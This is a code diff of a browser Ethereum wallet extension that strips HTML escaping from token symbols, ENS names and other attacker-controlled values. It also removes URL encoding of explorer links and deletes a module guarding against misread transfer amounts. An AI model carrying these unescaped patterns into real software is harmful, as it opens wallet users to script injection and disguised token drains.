`<div class="flex text-xs${clickClass}"${tokenAttr}>` + `<div class="flex text-xs${clickClass}"${tokenAttr}>` +
`<span class="flex justify-between" style="width:42ch;max-width:100%">` + `<span class="flex justify-between" style="width:42ch;max-width:100%">` +
`<span>${escapeHtml(displaySymbol(symbol))}</span>` + `<span>${symbol}</span>` +
`<span>${qty}</span>` + `<span>${qty}</span>` +
`</span>` + `</span>` +
`<span class="text-right text-muted flex-1">${usd}</span>` + `<span class="text-right text-muted flex-1">${usd}</span>` +
@@ -313,6 +289,12 @@ function addressDotHtml(address) {
return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`; return `<span style="width:8px;height:8px;border-radius:50%;display:inline-block;background:${color};margin-right:4px;vertical-align:middle;flex-shrink:0;"></span>`;
} }
function escapeHtml(s) {
const div = document.createElement("div");
div.textContent = s;
return div.innerHTML;
}
// Look up an address across all wallets and return its title // Look up an address across all wallets and return its title
// (e.g. "Address 1.2") or null if it's not one of ours. // (e.g. "Address 1.2") or null if it's not one of ours.
function addressTitle(address, wallets) { function addressTitle(address, wallets) {
@@ -400,26 +382,13 @@ const EXT_ICON =
`<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` + `<path d="M7 1.5h3.5V5M7 5.5L10.5 1.5"/>` +
`</svg></span>`; `</svg></span>`;
// Block-explorer URLs. The origin is a per-network constant from
// src/shared/networks.js; only the path segment is data, and it comes out
// of explorer JSON (a transaction's from/to, a token's address_hash), which
// nothing upstream validates as hex. percent-encoding it keeps a segment
// that contains a slash, a query or a fragment from re-pointing the link
// somewhere else in the explorer.
function explorerUrl(kind, value) {
return `${currentNetwork().explorerUrl}/${kind}/${encodeURIComponent(value)}`;
}
function etherscanAddressUrl(address) { function etherscanAddressUrl(address) {
return explorerUrl("address", address); return `${currentNetwork().explorerUrl}/address/${address}`;
} }
// The URL still has to be escaped on the way into href="...": encoding
// governs what the URL means, escaping governs whether it stays inside the
// attribute.
function etherscanLinkHtml(url) { function etherscanLinkHtml(url) {
return ( return (
`<a href="${escapeHtml(url)}" target="_blank" rel="noopener" ` + `<a href="${url}" target="_blank" rel="noopener" ` +
`class="inline-flex items-center">${EXT_ICON}</a>` `class="inline-flex items-center">${EXT_ICON}</a>`
); );
} }
@@ -523,7 +492,6 @@ module.exports = {
addressColor, addressColor,
addressDotHtml, addressDotHtml,
escapeHtml, escapeHtml,
displaySymbol,
addressTitle, addressTitle,
formatAddressHtml, formatAddressHtml,
renderAddressHtml, renderAddressHtml,
@@ -531,7 +499,6 @@ module.exports = {
attachCopyHandlers, attachCopyHandlers,
etherscanAddressUrl, etherscanAddressUrl,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
EXT_ICON, EXT_ICON,
truncateMiddle, truncateMiddle,
isoDate, isoDate,

View File

@@ -8,7 +8,6 @@ const {
addressDotHtml, addressDotHtml,
addressTitle, addressTitle,
escapeHtml, escapeHtml,
displaySymbol,
truncateMiddle, truncateMiddle,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
@@ -110,13 +109,10 @@ function renderHomeTxList(ctx) {
: tx.direction === "sent" || tx.direction === "contract" : tx.direction === "sent" || tx.direction === "contract"
? tx.to ? tx.to
: tx.from; : tx.from;
// directionLabel is the explorer's own method name for a contract const dirLabel = tx.directionLabel;
// call, title-cased — attacker-chosen for an attacker's contract.
const dirLabel = escapeHtml(tx.directionLabel);
const sym = displaySymbol(tx.symbol);
const amountStr = tx.value const amountStr = tx.value
? escapeHtml(tx.value + " " + sym) ? escapeHtml(tx.value + " " + tx.symbol)
: escapeHtml(sym); : escapeHtml(tx.symbol);
const title = addressTitle(counterparty, state.wallets); const title = addressTitle(counterparty, state.wallets);
const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10)); const maxAddr = Math.max(32, 36 - Math.max(0, amountStr.length - 10));
const displayAddr = title || truncateMiddle(counterparty, maxAddr); const displayAddr = title || truncateMiddle(counterparty, maxAddr);
@@ -230,7 +226,7 @@ function walletListHtml() {
const defect = walletDefect(wallet); const defect = walletDefect(wallet);
html += `<div>`; html += `<div>`;
html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`; html += `<div class="flex justify-between items-center bg-section py-1 px-2" style="margin:0 -0.5rem">`;
html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${escapeHtml(wallet.name)}</span>`; html += `<span class="font-bold cursor-pointer wallet-name underline decoration-dashed" data-wallet="${wi}">${wallet.name}</span>`;
// No "+" on a defective wallet: deriving another address from that // No "+" on a defective wallet: deriving another address from that
// xpub would only add one more address the key does not produce // xpub would only add one more address the key does not produce
// under the standard path. // under the standard path.
@@ -254,13 +250,10 @@ function walletListHtml() {
const titleBold = isActive ? "font-bold" : ""; const titleBold = isActive ? "font-bold" : "";
html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`; html += `<div class="text-xs ${titleBold}">Address ${ai + 1}</div>`;
if (addr.ensName) { if (addr.ensName) {
// An ENS reverse record is whatever the name owner set it html += `<div class="text-xs font-bold flex items-center">${dot}${addr.ensName}</div>`;
// to; renderAddressHtml() escapes its own copy of this and
// this list was the one that did not.
html += `<div class="text-xs font-bold flex items-center">${dot}${escapeHtml(addr.ensName)}</div>`;
} }
html += `<div class="flex text-xs items-center justify-between">`; html += `<div class="flex text-xs items-center justify-between">`;
html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${escapeHtml(addr.address)}</span>`; html += `<span class="flex items-center break-all">${addr.ensName ? "" : dot}${addr.address}</span>`;
html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`; html += `<span class="flex-shrink-0 ml-1">${infoBtn}${removeBtn}</span>`;
html += `</div>`; html += `</div>`;
const addrTotal = formatAddressTotal(getAddressValue(addr)); const addrTotal = formatAddressTotal(getAddressValue(addr));

View File

@@ -5,7 +5,6 @@ const {
flashCopyFeedback, flashCopyFeedback,
formatAddressHtml, formatAddressHtml,
addressTitle, addressTitle,
displaySymbol,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
} = require("./helpers"); } = require("./helpers");
@@ -45,7 +44,7 @@ function show() {
} }
warningEl.textContent = warningEl.textContent =
"This is an ERC-20 token. Only send " + "This is an ERC-20 token. Only send " +
displaySymbol(symbol) + symbol +
" on " + " on " +
currentNetwork().name + currentNetwork().name +
" to this address. Sending tokens on other networks will result in permanent loss."; " to this address. Sending tokens on other networks will result in permanent loss.";

View File

@@ -4,7 +4,6 @@ const {
$, $,
showFlash, showFlash,
addressTitle, addressTitle,
displaySymbol,
renderAddressHtml, renderAddressHtml,
attachCopyHandlers, attachCopyHandlers,
goBack, goBack,
@@ -132,7 +131,7 @@ function renderSendTokenSelect(addr) {
if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue; if (state.hideLowHolderTokens && isLowHolderCount(t.holders)) continue;
const opt = document.createElement("option"); const opt = document.createElement("option");
opt.value = t.address; opt.value = t.address;
opt.textContent = displaySymbol(t.symbol); opt.textContent = t.symbol;
sel.appendChild(opt); sel.appendChild(opt);
} }
} }
@@ -221,11 +220,6 @@ function init(_ctx) {
let tokenSymbol = null; let tokenSymbol = null;
let tokenBalance = null; let tokenBalance = null;
// The scale the amount and the balance below are rendered at, carried
// forward so the transfer is encoded with the number the user read
// rather than with whatever the contract answers at signing time. See
// src/shared/transferAmount.js.
let tokenDecimals = null;
if (token !== "ETH") { if (token !== "ETH") {
const tb = (addr.tokenBalances || []).find( const tb = (addr.tokenBalances || []).find(
(t) => t.address.toLowerCase() === token.toLowerCase(), (t) => t.address.toLowerCase() === token.toLowerCase(),
@@ -236,7 +230,6 @@ function init(_ctx) {
state.trackedTokens, state.trackedTokens,
); );
tokenBalance = tb ? tb.balance || "0" : "0"; tokenBalance = tb ? tb.balance || "0" : "0";
tokenDecimals = tb ? tb.decimals : null;
} }
ctx.showConfirmTx({ ctx.showConfirmTx({
@@ -248,7 +241,6 @@ function init(_ctx) {
balance: addr.balance, balance: addr.balance,
tokenSymbol: tokenSymbol, tokenSymbol: tokenSymbol,
tokenBalance: tokenBalance, tokenBalance: tokenBalance,
tokenDecimals: tokenDecimals,
}); });
}); });

View File

@@ -4,7 +4,6 @@ const {
updateDebugBanner, updateDebugBanner,
showFlash, showFlash,
escapeHtml, escapeHtml,
displaySymbol,
flashCopyFeedback, flashCopyFeedback,
goBack, goBack,
pushCurrentView, pushCurrentView,
@@ -44,11 +43,8 @@ function renderSiteList(containerId, siteMap, stateKey) {
let html = ""; let html = "";
hostnames.forEach((hostname) => { hostnames.forEach((hostname) => {
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`; html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
// A hostname the URL parser produced cannot carry a delimiter, so html += `<span>${hostname}</span>`;
// this is escaped for the rule rather than for a known hole — the html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${stateKey}" data-hostname="${hostname}">[x]</button>`;
// rule being that nothing reaches innerHTML unescaped.
html += `<span>${escapeHtml(hostname)}</span>`;
html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
html += `</div>`; html += `</div>`;
}); });
container.innerHTML = html; container.innerHTML = html;
@@ -77,10 +73,9 @@ function renderTrackedTokens() {
} }
let html = ""; let html = "";
state.trackedTokens.forEach((token, idx) => { state.trackedTokens.forEach((token, idx) => {
const sym = escapeHtml(displaySymbol(token.symbol));
const label = token.name const label = token.name
? escapeHtml(token.name) + " (" + sym + ")" ? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
: sym; : escapeHtml(token.symbol);
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`; html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
html += `<span>${label}</span>`; html += `<span>${label}</span>`;
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`; html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;

View File

@@ -1,4 +1,4 @@
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers"); const { $, showView, showFlash, goBack } = require("./helpers");
const { getTopTokens } = require("../../shared/tokenList"); const { getTopTokens } = require("../../shared/tokenList");
const { state, saveState } = require("../../shared/state"); const { state, saveState } = require("../../shared/state");
const { lookupTokenInfo } = require("../../shared/balances"); const { lookupTokenInfo } = require("../../shared/balances");
@@ -26,11 +26,11 @@ function renderTop10() {
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs"; : "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
return ( return (
`<button class="settings-addtoken-quick ${cls}"` + `<button class="settings-addtoken-quick ${cls}"` +
` data-address="${escapeHtml(t.address)}"` + ` data-address="${t.address}"` +
` data-symbol="${escapeHtml(t.symbol)}"` + ` data-symbol="${t.symbol}"` +
` data-decimals="${escapeHtml(t.decimals)}"` + ` data-decimals="${t.decimals}"` +
` data-name="${escapeHtml(t.name || "")}"` + ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>` `${tracked ? " disabled" : ""}>${t.symbol}</button>`
); );
}) })
.join(""); .join("");
@@ -62,11 +62,11 @@ function renderDropdown() {
const tracked = isTracked(t.address); const tracked = isTracked(t.address);
const label = tokenLabel(t) + (tracked ? " (tracked)" : ""); const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
html += html +=
`<option value="${escapeHtml(t.address)}"` + `<option value="${t.address}"` +
` data-symbol="${escapeHtml(t.symbol)}"` + ` data-symbol="${t.symbol}"` +
` data-decimals="${escapeHtml(t.decimals)}"` + ` data-decimals="${t.decimals}"` +
` data-name="${escapeHtml(t.name || "")}"` + ` data-name="${(t.name || "").replace(/"/g, "&quot;")}"` +
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`; `${tracked ? " disabled" : ""}>${label}</option>`;
} }
sel.innerHTML = html; sel.innerHTML = html;
} }

View File

@@ -15,11 +15,9 @@ const {
attachCopyHandlers, attachCopyHandlers,
copyableHtml, copyableHtml,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
displaySymbol,
goBack, goBack,
} = require("./helpers"); } = require("./helpers");
const { state } = require("../../shared/state"); const { state, currentNetwork } = require("../../shared/state");
const { formatEther, formatUnits } = require("ethers"); const { formatEther, formatUnits } = require("ethers");
const makeBlockie = require("ethereum-blockies-base64"); const makeBlockie = require("ethereum-blockies-base64");
const { log, debugFetch } = require("../../shared/log"); const { log, debugFetch } = require("../../shared/log");
@@ -46,7 +44,7 @@ function getTransactionType(tx) {
function blockieHtml(address) { function blockieHtml(address) {
const src = makeBlockie(address); const src = makeBlockie(address);
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`; return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
} }
function txAddressHtml(address, ensName, title) { function txAddressHtml(address, ensName, title) {
@@ -58,7 +56,7 @@ function txAddressHtml(address, ensName, title) {
} }
function txHashHtml(hash) { function txHashHtml(hash) {
const link = explorerUrl("tx", hash); const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
const extLink = etherscanLinkHtml(link); const extLink = etherscanLinkHtml(link);
return copyableHtml(hash, "break-all") + extLink; return copyableHtml(hash, "break-all") + extLink;
} }
@@ -103,10 +101,9 @@ function render() {
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle); $("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
// Exact amount (full precision, copyable) // Exact amount (full precision, copyable)
const detailSym = displaySymbol(tx.symbol);
const exactStr = tx.exactValue const exactStr = tx.exactValue
? tx.exactValue + " " + detailSym ? tx.exactValue + " " + tx.symbol
: tx.directionLabel + " " + detailSym; : tx.directionLabel + " " + tx.symbol;
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold"); $("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
// Native quantity (raw integer, copyable) // Native quantity (raw integer, copyable)
@@ -136,7 +133,7 @@ function render() {
if (tokenContractSection && tokenContractEl) { if (tokenContractSection && tokenContractEl) {
if (tx.contractAddress) { if (tx.contractAddress) {
const dot = addressDotHtml(tx.contractAddress); const dot = addressDotHtml(tx.contractAddress);
const link = explorerUrl("token", tx.contractAddress); const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
tokenContractEl.innerHTML = tokenContractEl.innerHTML =
`<div class="flex items-center">${dot}` + `<div class="flex items-center">${dot}` +
copyableHtml(tx.contractAddress, "break-all") + copyableHtml(tx.contractAddress, "break-all") +
@@ -188,7 +185,7 @@ function showDetailField(sectionId, contentId, value) {
function populateOnChainDetails(txData) { function populateOnChainDetails(txData) {
// Block number // Block number
if (txData.block_number != null) { if (txData.block_number != null) {
const blockLink = explorerUrl("block", String(txData.block_number)); const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
const blockSection = $("tx-detail-block-section"); const blockSection = $("tx-detail-block-section");
const blockEl = $("tx-detail-block"); const blockEl = $("tx-detail-block");
if (blockSection && blockEl) { if (blockSection && blockEl) {
@@ -312,7 +309,7 @@ async function loadFullTxDetails(txHash, toAddress) {
// Token entry: show symbol on its own line, then address via shared renderer // Token entry: show symbol on its own line, then address via shared renderer
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1]; const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
if (tokenSymbol) { if (tokenSymbol) {
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`; detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
} }
detailsHtml += renderAddressHtml(d.address); detailsHtml += renderAddressHtml(d.address);
} else if (d.address) { } else if (d.address) {

View File

@@ -9,12 +9,10 @@ const {
attachCopyHandlers, attachCopyHandlers,
copyableHtml, copyableHtml,
etherscanLinkHtml, etherscanLinkHtml,
explorerUrl,
displaySymbol,
clearViewStack, clearViewStack,
} = require("./helpers"); } = require("./helpers");
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList"); const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
const { state } = require("../../shared/state"); const { state, currentNetwork } = require("../../shared/state");
const { getProvider } = require("../../shared/balances"); const { getProvider } = require("../../shared/balances");
const { log } = require("../../shared/log"); const { log } = require("../../shared/log");
@@ -64,13 +62,13 @@ function toAddressHtml(address) {
} }
function txHashHtml(hash) { function txHashHtml(hash) {
const link = explorerUrl("tx", hash); const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link); return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
} }
function blockNumberHtml(blockNumber) { function blockNumberHtml(blockNumber) {
const num = String(blockNumber); const num = String(blockNumber);
const link = explorerUrl("block", num); const link = `${currentNetwork().explorerUrl}/block/${num}`;
return copyableHtml(num) + etherscanLinkHtml(link); return copyableHtml(num) + etherscanLinkHtml(link);
} }
@@ -82,10 +80,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
endWait(); endWait();
const id = waitId; const id = waitId;
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol; $("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to); $("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
$("wait-tx-hash").innerHTML = txHashHtml(txHash); $("wait-tx-hash").innerHTML = txHashHtml(txHash);
@@ -216,10 +211,7 @@ function restoreWait() {
function showSuccess(txInfo, txHash, blockNumber) { function showSuccess(txInfo, txHash, blockNumber) {
endWait(); endWait();
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = { state.viewData = {
amount: txInfo.amount, amount: txInfo.amount,
symbol: symbol, symbol: symbol,
@@ -307,10 +299,7 @@ function renderSuccess() {
function showError(txInfo, txHash, message) { function showError(txInfo, txHash, message) {
endWait(); endWait();
const symbol = const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
txInfo.token === "ETH"
? "ETH"
: displaySymbol(txInfo.tokenSymbol || "?");
state.viewData = { state.viewData = {
amount: txInfo.amount, amount: txInfo.amount,
symbol: symbol, symbol: symbol,

View File

@@ -1,103 +0,0 @@
// The scale an ERC-20 amount in a dApp's calldata is displayed with, and what
// to display when there is no such scale.
//
// The approval screen decodes `transfer` and `approve` calldata into a
// quantity the user confirms against. That quantity is a base-unit integer,
// and turning it into a number a person can read needs the token's decimals.
// Assuming a scale is how a drain gets confirmed: a `transfer` of 5000000000
// units of a 6-decimal token is 5,000 tokens, but formatted with the ERC-20
// default of 18 it reads `0.0000`, and a user who reads zero signs.
//
// So a scale is either found or the amount is not formatted. Decimals are
// looked for in the bundled token list, then in the tokens the user tracks,
// then in what the block explorer reported for the contract; where none of
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
// unknown scale stated, and no formatUnits() call is reached at all.
//
// This is the display counterpart to transferAmount.js, which takes the same
// stance on the wallet's own send path: an amount whose scale is unknown or
// disputed is refused rather than guessed at.
// Solidity's decimals() is a uint8, and every source here is ultimately
// reporting that call's result.
const { MAX_DECIMALS } = require("./transferAmount");
const { TOKEN_BY_ADDRESS } = require("./tokenList");
// A decimals value as a number, or null if it is not one. The bundled list
// stores numbers, the explorer's copy arrives as a string, and a token the
// user added by hand can carry whatever lookupTokenInfo() got back, so the
// accepted types are enumerated rather than coerced: Number([]) is 0 and
// Number(true) is 1, so a coercing check would read an empty array as a scale
// of zero and format the amount as whole tokens.
function toDecimals(value) {
let n;
if (typeof value === "number") {
n = value;
} else if (typeof value === "bigint") {
if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
n = Number(value);
} else if (typeof value === "string") {
if (!/^[0-9]+$/.test(value)) return null;
n = Number(value);
} else {
return null;
}
if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
return n;
}
// Every decimals the explorer reported for this contract, across all the
// addresses whose balances have been fetched. They describe one contract, so
// they should agree; a set that does not agree is a scale in dispute, and this
// screen has no way to tell which member is the true one.
function explorerDecimals(lower, wallets) {
let found = null;
for (const wallet of wallets || []) {
for (const addr of wallet.addresses || []) {
for (const tb of addr.tokenBalances || []) {
if ((tb.address || "").toLowerCase() !== lower) continue;
const d = toDecimals(tb.decimals);
if (d === null) continue;
if (found !== null && found !== d) return null;
found = d;
}
}
}
return found;
}
// The decimals to render a token amount with, or null when nothing knows.
// `sources` is { trackedTokens, wallets }, both shaped as they are on `state`.
function resolveTokenDecimals(tokenAddress, sources) {
const lower = (tokenAddress || "").toLowerCase();
if (!lower) return null;
const bundled = TOKEN_BY_ADDRESS.get(lower);
if (bundled) {
const d = toDecimals(bundled.decimals);
if (d !== null) return d;
}
const tracked = ((sources && sources.trackedTokens) || []).find(
(t) => (t.address || "").toLowerCase() === lower,
);
if (tracked) {
const d = toDecimals(tracked.decimals);
if (d !== null) return d;
}
return explorerDecimals(lower, sources && sources.wallets);
}
// What the amount line reads when the scale is unknown. The base units are
// exact and the caveat is part of the same string, so the number on the screen
// cannot be mistaken for a token quantity, and it can never read as zero for a
// transfer that is not zero.
function unknownDecimalsAmount(rawAmount) {
return String(rawAmount) + " base units (decimals unknown)";
}
module.exports = {
resolveTokenDecimals,
unknownDecimalsAmount,
};

View File

@@ -1,41 +0,0 @@
// HTML escaping for values interpolated into an innerHTML string.
//
// Every view in src/popup/views/ builds markup by string concatenation, so
// this is the only thing standing between a value the wallet did not author
// and the extension's own DOM. The values that reach it are attacker
// controlled by design: an ERC-20's symbol() and name() are whatever the
// contract chooses to return, an ENS name is whatever the resolver returns,
// and both arrive through the block explorer with no schema.
//
// It escapes both quote characters as well as the tag delimiters, because
// the popup interpolates into attribute values as well as into element
// text — copyableHtml() writes data-copy="..." and etherscanLinkHtml()
// writes href="...". A `<`/`>`-only escape leaves an unquoted-attribute
// break-out intact, and the round trip through a detached element's
// textContent that used to implement this was exactly that escape: the
// HTML serializer only escapes `&`, `<`, `>` and U+00A0 in a text node,
// since a text node has no idea it is about to be pasted inside quotes.
//
// Deliberately a pure string function with no DOM dependency: it is called
// on every rendered row, it is unit-testable without a document, and it
// cannot be affected by the state of a document that an attacker-supplied
// string has already been written into.
const HTML_ESCAPES = {
"&": "&amp;",
"<": "&lt;",
">": "&gt;",
'"': "&quot;",
"'": "&#39;",
};
// `&` is escaped first by virtue of being in the same pass: a sequential
// replace would re-escape the ampersands it had just introduced.
function escapeHtml(s) {
if (s === null || s === undefined) return "";
return String(s).replace(/[&<>"']/g, (c) => HTML_ESCAPES[c]);
}
module.exports = {
escapeHtml,
};

View File

@@ -6,7 +6,6 @@ const { networkById } = require("./networks");
const { RESTORABLE_VIEWS } = require("../popup/restorableViews"); const { RESTORABLE_VIEWS } = require("../popup/restorableViews");
const { storageGet, storageSet } = require("./browserApi"); const { storageGet, storageSet } = require("./browserApi");
const { log } = require("./log");
const DEFAULT_STATE = { const DEFAULT_STATE = {
hasWallet: false, hasWallet: false,
@@ -89,529 +88,135 @@ function currentNetwork() {
return networkById(state.networkId); return networkById(state.networkId);
} }
// Every field written to and read from the single "autistmask" storage key. async function saveState() {
// hasWallet is deliberately excluded from the diffing/merge logic below — const persisted = {
// like loadState() does, it is always derived from `wallets`, never carried hasWallet: state.hasWallet,
// as an independent value. wallets: state.wallets,
const PERSISTED_FIELDS = Object.keys(DEFAULT_STATE) trackedTokens: state.trackedTokens,
.filter((key) => key !== "hasWallet") networkId: state.networkId,
.concat([ rpcUrl: state.rpcUrl,
"currentView", blockscoutUrl: state.blockscoutUrl,
"selectedWallet", networkEndpoints: state.networkEndpoints,
"selectedAddress", lastBalanceRefresh: state.lastBalanceRefresh,
"selectedToken", activeAddress: state.activeAddress,
"viewData", allowedSites: state.allowedSites,
"viewStack", deniedSites: state.deniedSites,
]); rememberSiteChoice: state.rememberSiteChoice,
showZeroBalanceTokens: state.showZeroBalanceTokens,
// Turn a raw stored (or missing) record into the full, defaulted shape hideSpoofedSymbols: state.hideSpoofedSymbols,
// loadState() used to assign directly onto `state`. Pulled out as a pure hideLowHolderTokens: state.hideLowHolderTokens,
// function so saveState() can apply it too: the fields THIS page did not hideFraudContracts: state.hideFraudContracts,
// change still have to come from storage in their loaded-and-normalized hideDustTransactions: state.hideDustTransactions,
// form, not as the raw bytes another page (or an old release) left there — dustThresholdGwei: state.dustThresholdGwei,
// otherwise a legacy shape a load has always self-healed in memory (a utcTimestamps: state.utcTimestamps,
// missing networkEndpoints map, an out-of-range flag) is dropped right back fraudContracts: state.fraudContracts,
// into storage unfixed every time the page that DID normalize it saves tokenHolderCache: state.tokenHolderCache,
// something unrelated, because that field's value never "changed" for that theme: state.theme,
// page to notice. debugMode: state.debugMode,
function normalizePersisted(saved) { currentView: state.currentView,
saved = saved || {}; selectedWallet: state.selectedWallet,
const out = {}; selectedAddress: state.selectedAddress,
out.wallets = saved.wallets || []; selectedToken: state.selectedToken,
// Derived, never trusted verbatim off storage — see loadState(). viewData: state.viewData,
out.hasWallet = out.wallets.length > 0; viewStack: state.viewStack,
out.trackedTokens = saved.trackedTokens || [];
out.networkId = saved.networkId || DEFAULT_STATE.networkId;
out.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
out.blockscoutUrl = saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
// An actual object is required, not merely a truthy non-array: the code
// below and onChainSwitch() index and ASSIGN INTO this value, and
// assigning a property to a string or a number is a silent no-op in
// sloppy mode. Copied rather than referenced, nested pairs included, so
// normalizing never mutates the object a caller handed in.
const rawEndpoints =
typeof saved.networkEndpoints === "object" &&
saved.networkEndpoints !== null &&
!Array.isArray(saved.networkEndpoints)
? saved.networkEndpoints
: {};
out.networkEndpoints = {};
for (const netId of Object.keys(rawEndpoints)) {
out.networkEndpoints[netId] = { ...rawEndpoints[netId] };
}
// A profile written before this map existed carries exactly one pair of
// endpoints, belonging to whatever network it was last on. Adopt it as
// that network's remembered pair, so a custom endpoint set on the old
// build is not lost by the first switch away and back.
if (!out.networkEndpoints[out.networkId]) {
out.networkEndpoints[out.networkId] = {
rpcUrl: out.rpcUrl,
blockscoutUrl: out.blockscoutUrl,
}; };
} await storageSet({ autistmask: persisted });
out.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
out.activeAddress = saved.activeAddress || null;
out.allowedSites =
saved.allowedSites && !Array.isArray(saved.allowedSites)
? saved.allowedSites
: {};
out.deniedSites =
saved.deniedSites && !Array.isArray(saved.deniedSites)
? saved.deniedSites
: {};
out.rememberSiteChoice =
saved.rememberSiteChoice !== undefined
? saved.rememberSiteChoice
: true;
out.showZeroBalanceTokens =
saved.showZeroBalanceTokens !== undefined
? saved.showZeroBalanceTokens
: true;
// A profile written before this setting existed has no key for it. It
// is a safety filter, so absent must load as on, not as undefined.
out.hideSpoofedSymbols =
saved.hideSpoofedSymbols !== undefined
? saved.hideSpoofedSymbols
: true;
out.hideLowHolderTokens =
saved.hideLowHolderTokens !== undefined
? saved.hideLowHolderTokens
: true;
out.hideFraudContracts =
saved.hideFraudContracts !== undefined
? saved.hideFraudContracts
: true;
out.hideDustTransactions =
saved.hideDustTransactions !== undefined
? saved.hideDustTransactions
: true;
out.dustThresholdGwei =
saved.dustThresholdGwei !== undefined
? saved.dustThresholdGwei
: 100000;
out.utcTimestamps =
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
out.fraudContracts = saved.fraudContracts || [];
out.tokenHolderCache = saved.tokenHolderCache || {};
out.theme = saved.theme || "system";
out.debugMode = saved.debugMode !== undefined ? saved.debugMode : false;
out.currentView = saved.currentView || null;
out.selectedWallet =
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
out.selectedAddress =
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
out.selectedToken = saved.selectedToken || null;
out.viewData = saved.viewData || {};
out.viewStack = restorableStack(saved.viewStack, out.currentView);
return out;
}
// The persisted fields as they stood at the end of this page's last
// loadState() or saveState(). saveState() diffs the live state against this
// to find only the fields THIS page actually changed.
//
// Deep-cloned, not a reference: callers mutate persisted objects and arrays
// in place (state.wallets.push(...)), and a reference baseline would mutate
// right along with `state`, so the diff would always come out empty.
let baseline = null;
function snapshotPersisted() {
const out = {};
for (const key of PERSISTED_FIELDS) out[key] = state[key];
return out;
}
function deepEqual(a, b) {
if (a === b) return true;
if (typeof a !== "object" || typeof b !== "object") return false;
if (a === null || b === null) return false;
if (Array.isArray(a) !== Array.isArray(b)) return false;
const aKeys = Object.keys(a);
const bKeys = Object.keys(b);
if (aKeys.length !== bKeys.length) return false;
for (const key of aKeys) {
if (!Object.prototype.hasOwnProperty.call(b, key)) return false;
if (!deepEqual(a[key], b[key])) return false;
}
return true;
}
// Stable identity for a wallet, independent of its position in the array
// (which shifts under a concurrent add/delete elsewhere) and independent of
// its mutable fields (name is user-editable; addresses gains/loses entries
// via scanning and deleteAddress.js). An "hd"/"xprv" wallet's xpub never
// changes for its lifetime and is already enforced unique
